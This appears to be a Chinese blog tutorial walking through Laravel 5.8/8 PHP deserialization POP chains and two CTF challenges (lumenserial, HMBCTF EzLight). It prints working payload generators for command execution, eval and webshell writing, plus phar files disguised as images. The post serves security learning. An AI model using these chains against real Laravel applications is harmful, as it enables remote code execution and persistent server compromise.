美文网首页
通过几道CTF题学习Laravel框架

通过几道CTF题学习Laravel框架

作者: 蚁景科技 | 来源:发表于2021-06-17 10:33 被阅读0次

Laravel5.8.x反序列化POP链

安装:其中--prefer-dist表示优先下载zip压缩包方式

composer create-project --prefer-dist laravel/laravel=5.8.* laravel5.8

在路由文件routes/web.php中添加

Route::get('/foo', function () {

   if(isset($_GET['c'])){

       $code = $_GET['c'];

       unserialize($code);

   }

   else{

       highlight_file(__FILE__);

   }

   return "Test laravel5.8 pop";

});

然后在public目录起一个php服务就可以进行测试了

cd /public

php -S 0.0.0.0:port

/foo?c=

链一

链的入口是在laravel5.8\vendor\laravel\framework\src\Illuminate\Broadcasting\PendingBroadcast.php

public function __destruct()

   {

       $this->events->dispatch($this->event);

   }

这里的$this->events和$this->event可控,这里把$this->events设为含有dispatch方法的Dispatcher类,我们看到laravel5.8\vendor\laravel\framework\src\Illuminate\Bus\Dispatcher.php来

public function dispatch($command)

   {

       if ($this->queueResolver && $this->commandShouldBeQueued($command)) {

           return $this->dispatchToQueue($command);

       }

       return $this->dispatchNow($command);

   }

跟踪进commandShouldBeQueued

protected function commandShouldBeQueued($command)

   {

       return $command instanceof ShouldQueue;

   }

这里要求$command(即传进来的$this->event)要实现ShouldQueue该接口

满足ShouldQueue接口的实现类即可,再跟踪进dispatchToQueue看一下

public function dispatchToQueue($command)

   {

       $connection = $command->connection ?? null;

       $queue = call_user_func($this->queueResolver, $connection);

这里的$this->queueResolver和$connection都是可控的,到这里就可以直接构造payload

rce

<?php

namespace Illuminate\Broadcasting {

   class PendingBroadcast {

       protected $events;

       protected $event;

       public function __construct($events, $event) {

           $this->events = $events;

           $this->event = $event;

       }

   }

   class BroadcastEvent {

       public $connection;

       public function __construct($connection) {

           $this->connection = $connection;

       }

   }

}

namespace Illuminate\Bus {

   class Dispatcher {

       protected $queueResolver;

       public function __construct($queueResolver){

           $this->queueResolver = $queueResolver;

       }

   }

}

namespace {

   $c = new Illuminate\Broadcasting\BroadcastEvent('whoami');

   $b = new Illuminate\Bus\Dispatcher('system');

   $a = new Illuminate\Broadcasting\PendingBroadcast($b, $c);

   print(urlencode(serialize($a)));

}

eval执行

到这里已经可以调用任意类的任意方法了,但是call_user_func无法执行eval函数,如果我们的system被ban了的话,就需要继续寻找执行任意命令的函数,我们找到laravel5.8\vendor\mockery\mockery\library\Mockery\Loader\EvalLoader.php

class EvalLoader implements Loader

{

   public function load(MockDefinition $definition)

   {

       if (class_exists($definition->getClassName(), false)) {

           return;

       }

       eval("?>" . $definition->getCode());

   }

}

这里有一个eval函数,这里需要绕过eval上面的if语句,否则直接就return了

$definition变量是MockDefinition类,跟进一下

class MockDefinition

{

   protected $config;

   protected $code;

   ...

   public function getClassName()

   {

       return $this->config->getName();

   }

   public function getCode()

   {

       return $this->code;

   }

}

这里$code,$config可控,但是呢$definition->getClassName()需要一个不存在的类,我们找一个类其getName是可控的,然后构造一个不存在的类即可,如下

laravel5.8\vendor\mockery\mockery\library\Mockery\Generator\MockConfiguration.php

class MockConfiguration

{

   ...

public function getName()

   {

       return $this->name;

   }

   ...

}

payload如下

<?php

namespace Illuminate\Broadcasting{

   class PendingBroadcast{

       protected $events;

       protected $event;

       public function __construct($events, $event)

       {

           $this->event = $event;

           $this->events = $events;

       }

   }

}

namespace Illuminate\Broadcasting{

   class BroadcastEvent

   {

       public $connection;

       public function __construct($connection)

       {

           $this->connection = $connection;

       }

   }

}

namespace Illuminate\Bus{

   class Dispatcher

   {

       protected $queueResolver;

       public function __construct($queueResolver)

       {

           $this->queueResolver = $queueResolver;

       }

   }

}

namespace Mockery\Generator{

   class MockDefinition

   {

       protected $config;

       protected $code;

       public function __construct(MockConfiguration $config)

       {

           $this->config = $config;

           $this->code = '<?php phpinfo();?>';

       }

   }

}

namespace Mockery\Generator{

   class MockConfiguration

   {

       protected $name = "none class";

   }

}

namespace Mockery\Loader{

   class EvalLoader

   {

       public function load(MockDefinition $definition)

       {

       }

   }

}

namespace {

   $config = new \Mockery\Generator\MockConfiguration();

   $connection = new \Mockery\Generator\MockDefinition($config);

   $event = new \Illuminate\Broadcasting\BroadcastEvent($connection);

   $queueResolver = array(new \Mockery\Loader\EvalLoader(),"load");

   $events = new \Illuminate\Bus\Dispatcher($queueResolver);

   $pendingBroadcast = new \Illuminate\Broadcasting\PendingBroadcast($events, $event);

   echo urlencode(serialize($pendingBroadcast));

}

利用跳板

如果说靶机禁用了system等函数,我们希望用file_put_contents写shell等双参数的函数呢,这里有一个好的跳板laravel5.8\vendor\phpoption\phpoption\src\PhpOption\LazyOption.php

final class LazyOption extends Option

{

   ...

   public function filter($callable)

   {

       return $this->option()->filter($callable);

   }

   ...

private function option()

   {

       if (null === $this->option) {

           /** @var mixed */

           $option = call_user_func_array($this->callback, $this->arguments);

这里的$this->callback,$this->arguments是可控的,但是注意到option的属性是private,无法直接从我们刚刚的call_user_func直接去调用它,但是有许多类似filter的函数里面有调用option的

这里可以直接构造payload

<?php

namespace Illuminate\Broadcasting {

   class PendingBroadcast {

       protected $events;

       protected $event;

       public function __construct($events, $event) {

           $this->events = $events;

           $this->event = $event;

       }

   }

   class BroadcastEvent {

       public $connection;

       public function __construct($connection) {

           $this->connection = $connection;

       }

   }

}

namespace Illuminate\Bus {

   class Dispatcher {

       protected $queueResolver;

       public function __construct($queueResolver){

           $this->queueResolver = $queueResolver;

       }

   }

}

namespace PhpOption{

   final class LazyOption{

       private $callback;

       private $arguments;

       public function __construct($callback, $arguments)

       {

           $this->callback = $callback;

           $this->arguments = $arguments;

       }

   }

}

namespace {

   $d = new PhpOption\LazyOption("file_put_contents", ["shell.php", "<?php eval(\$_POST['cmd']) ?>"]);

   $c = new Illuminate\Broadcasting\BroadcastEvent('whoami');

   $b = new Illuminate\Bus\Dispatcher(array($d,"filter"));

   $a = new Illuminate\Broadcasting\PendingBroadcast($b, $c);

   print(urlencode(serialize($a)));

}

链二

入口同样是

public function __destruct()

   {

       $this->events->dispatch($this->event);

   }

这里转换思路,找某个类没有实现dispatch方法却有__call方法,这里就可以直接调用,找到laravel5.8\vendor\laravel\framework\src\Illuminate\Validation\Validator.php

class Validator implements ValidatorContract

{

   ...

public function __call($method, $parameters)

   {

       $rule = Str::snake(substr($method, 8));

       if (isset($this->extensions[$rule])) {

           return $this->callExtension($rule, $parameters);

       }

这里的$method是固定的字符串dispatch,传到$rule的时候为空,然后$this->extensions可控

跟踪进callExtension方法

protected function callExtension($rule, $parameters)

   {

       $callback = $this->extensions[$rule];

       if (is_callable($callback)) {

           return call_user_func_array($callback, $parameters);

$callback和$parameters可控,于是就可以构造payload了

<?php

namespace Illuminate\Broadcasting{

   class PendingBroadcast{

       protected $events;

       protected $event;

       public function __construct($events, $event)

       {

           $this->events = $events;

           $this->event = $event;

       }

   }

}

namespace Illuminate\Validation{

   class Validator{

       protected $extensions;

       public function __construct($extensions)

       {

           $this->extensions = $extensions;

       }

   }

}

namespace{

   $b = new Illuminate\Validation\Validator(array(''=>'system'));

   $a = new Illuminate\Broadcasting\PendingBroadcast($b, 'id');

   echo urlencode(serialize($a));

}

这条链在Laravel8里面也是可以用的

利用跳板

和上面一样可以加LazyOption这个跳板

<?php

namespace Illuminate\Broadcasting {

   class PendingBroadcast {

       protected $events;

       protected $event;

       public function __construct($events, $event) {

           $this->events = $events;

           $this->event = $event;

       }

   }

}

namespace Illuminate\Validation {

   class Validator {

       public $extensions;

       public function __construct($extensions){

           $this->extensions = $extensions;

       }

   }

}

namespace PhpOption {

   class LazyOption {

       private $callback;

       private $arguments;

       public function __construct($callback, $arguments) {

           $this->callback = $callback;

           $this->arguments = $arguments;

       }

   }

}

namespace {

   $c = new PhpOption\LazyOption("file_put_contents", ["shell.php", "<?php eval(\$_POST['cmd']) ?>"]);

   $b = new Illuminate\Validation\Validator(array(''=>array($c, 'filter')));

   $a = new Illuminate\Broadcasting\PendingBroadcast($b, 'whoami');

   print(urlencode(serialize($a)));

}

Laravel8反序列化POP链

在下面参考链接文章中Laravel8有介绍三条链都很详细,链和上面Laravel5.8也差不太多,就不赘述,然后有一条可以phpnfo的,同样是经典入口类

laravel859\vendor\laravel\framework\src\Illuminate\Broadcasting\PendingBroadcast.php

public function __destruct()

   {

       $this->events->dispatch($this->event);

   }

这里的$this->events和$this->event可控

同样这里有两种方法,要不使$this->events为某个拥有dispatch方法的类,我们可以调用这个类的dispatch方法

要不就使$this->events为某个类,并且该类没有实现dispatch方法却有__call方法,那么就可以调用这个__call方法了

看到laravel859\vendor\laravel\framework\src\Illuminate\View\InvokableComponentVariable.php

public function __call($method, $parameters)

   {

       return $this->__invoke()->{$method}(...$parameters);

   }

   /**

    * Resolve the variable.

    *

    * @return mixed

    */

   public function __invoke()

   {

       return call_user_func($this->callable);

   }

这里的_call会直接调用__invoke,$this->callable也是我们可控的,不过这里只能调用phpinfo,比较鸡肋,payload如下

<?php

namespace Illuminate\Broadcasting {

   class PendingBroadcast {

       protected $events;

       protected $event;

       public function __construct($events, $event) {

           $this->events = $events;

           $this->event = $event;

       }

   }

}

namespace Illuminate\View {

   class InvokableComponentVariable {

       protected $callable;

       public function __construct($callable)

   {

       $this->callable = $callable;

   }

   }

}

namespace {

   $b = new Illuminate\View\InvokableComponentVariable('phpinfo');

   $a = new Illuminate\Broadcasting\PendingBroadcast($b, 1);

   print(urlencode(serialize($a)));

}

因为这里我们只能控制$this->callable,想要rce的话,还可以去找无参的方法里面带有call_user_func或者eval然后参数可控之类的,但是这里我找了好像没找到,读者有兴趣可以去试试

CTF题目

lumenserial

lumenserial\routes\web.php先看到路由文件

$router->get('/server/editor', 'EditorController@main');

$router->post('/server/editor', 'EditorController@main');

再看到

lumenserial\app\Http\Controllers\EditorController.php

class EditorController extends Controller

{

private function download($url)

   {

...

       $content = file_get_contents($url);

发现这里的$url传进file_get_contents可以phar反序列化,然后$url的值来源于doCatchimage 方法中的 $sources 变量

class EditorController extends Controller

{

   ...

protected function doCatchimage(Request $request)

   {

       $sources = $request->input($this->config['catcherFieldName']);

       $rets = [];

       if ($sources) {

           foreach ($sources as $url) {

               $rets[] = $this->download($url);

           }

我们看到main发现他是通过call_user_func来调用带do开头的方法

class EditorController extends Controller

{

   ...

public function main(Request $request)

   {

       $action = $request->query('action');

       try {

           if (is_string($action) && method_exists($this, "do{$action}")) {

               return call_user_func([$this, "do{$action}"], $request);

           } else {

可以通过如下控制变量

http://ip/server/editor/?action=Catchimage&source[]=phar://xxx.gif

然后在上面的5.8链的基础加上如下

@unlink("test.phar");

$phar = new \Phar("test.phar");//后缀名必须为phar

$phar->startBuffering();

$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');//设置stub

$phar->setMetadata($pendingBroadcast);//将自定义的meta-data存入manifest

$phar->addFromString("test.txt", "test");//添加要压缩的文件

$phar->stopBuffering();

上传phar文件再用phar协议打即可

[HMBCTF 2021]EzLight

给了source.zip源码,是laravel框架开发的lightcms,先在本地把环境搭起来先,主要是修改.env文件改改数据库信息

先看到source\source\app\Http\Controllers\Admin\NEditorController.php

public function catchImage(Request $request)

   {

   ...

   $files = array_unique((array) $request->post('file'));

       $urls = [];

       foreach ($files as $v) {

           $image = $this->fetchImageFile($v);

在catchImage函数里面以post传给file参数再给到fetchImageFile的$url

protected function fetchImageFile($url)

   {

   if (isWebp($data)) {

               $image = Image::make(imagecreatefromwebp($url));

               $extension = 'webp';

           } else {

               $image = Image::make($data);

           }

这里的$url可控,这里imagecreatefromwebp因为isWebp的限制无法进入,所以这里的分支是进入Image::make($data);来,我们在此处下一个断点,然后分析一下前面的代码,我们需要在vps上放一个图片的链接,然后在http://127.0.0.1:9001/admin/neditor/serve/catchImage传参数即可动态调试了

然后一直跟进就可以发现有个file_get_contents函数

至此结束,这里可以phar反序列化了

用上面的链一即可

<?php

namespace Illuminate\Broadcasting {

    class PendingBroadcast {

        protected $events;

        protected $event;

        public function __construct($events, $event) {

            $this->events = $events;

            $this->event = $event;

        }

    }

    class BroadcastEvent {

        public $connection;

        public function __construct($connection) {

            $this->connection = $connection;

        }

    }

}

namespace Illuminate\Bus {

    class Dispatcher {

        protected $queueResolver;

        public function __construct($queueResolver){

            $this->queueResolver = $queueResolver;

        }

    }

}

namespace PhpOption{

    final class LazyOption{

        private $callback;

        private $arguments;

        public function __construct($callback, $arguments)

        {

            $this->callback = $callback;

            $this->arguments = $arguments;

        }

    }

}

namespace {

    $d = new PhpOption\LazyOption("file_put_contents", ["shell.php", "<?php phpinfo();eval(\$_POST['cmd']);?>"]);

    $c = new Illuminate\Broadcasting\BroadcastEvent('whoami');

    $b = new Illuminate\Bus\Dispatcher(array($d,"filter"));

    $a = new Illuminate\Broadcasting\PendingBroadcast($b, $c);

    print(urlencode(serialize($a)));

    @unlink("test.phar");

    $phar = new \Phar("test.phar");//后缀名必须为phar

    $phar->startBuffering();

    $phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');//设置stub

    $phar->setMetadata($a);//将自定义的meta-data存入manifest

    $phar->addFromString("test.txt", "test");//添加要压缩的文件

    $phar->stopBuffering();

    rename('test.phar','test.jpg');

}

上传之后,在vps上放

phar://./upload/image/202105/uwQGQ5sBTWRppO3lfHzOpxLkKODMS9NkrYHdobkz.gif

再到/admin/neditor/serve/catchImage用file传参打就可以了

本文涉及相关实验:PHP反序列化漏洞实验  (通过本次实验,大家将会明白什么是反序列化漏洞,反序列化漏洞的成因以及如何挖掘和预防此类漏洞。)

相关文章

  • 通过几道CTF题学习Laravel框架

    Laravel5.8.x反序列化POP链 安装:其中--prefer-dist表示优先下载zip压缩包方式 com...

  • 通过几道CTF题学习yii2框架

    简介 Yii是一套基于组件、用于开发大型 Web 应用的高性能 PHP 框架,Yii2 2.0.38 之前的版本存...

  • laravel初接触

    laravel中文文档 一、本地安装laravel框架 通过composer安装laravel框架: 二、执行ar...

  • 几道CTF题的writeup

    0x01 PlainR2B 这是一道比较简单的PWN题目,首先拖到IDA里简单看了一下程序,如图 发现在读取,没有...

  • Laravel 请求的生命周期介绍

    Laravel 是一个强大的PHP框架,当您学习laravel框架时,Laravel 请求生命周期是最好的起点。本...

  • Laravel 服务容器实现原理

    前言 通过实现laravel 框架功能,以便深入理解laravel框架的先进思想。 什么是服务容器 服务容器是用来...

  • Dubbo进阶

    0. Dubbo的学习可以参考什么? 答:参考Laravel,都是框架,通过看文档了解即可。 1. Dubbo支持...

  • RSA相关

    最近一直在学习CTF密码学相关问题 以下列举几道被恶心的不要不要的题目,顺便分享一些思路和做法。 拿到此题,观察像...

  • composer

    # 为什么要学习composer? 由于我们要学习的laravel框架底层是syfomy框架。syfomy框架底层...

  • laravel文件目录树

    正在学习laravel框架,整理了下laravel的文件目录树,希望对同样正在学习laravel的童鞋产生一些帮助。

网友评论

      本文标题:通过几道CTF题学习Laravel框架

      本文链接:https://www.haomeiwen.com/subject/uvaqyltx.html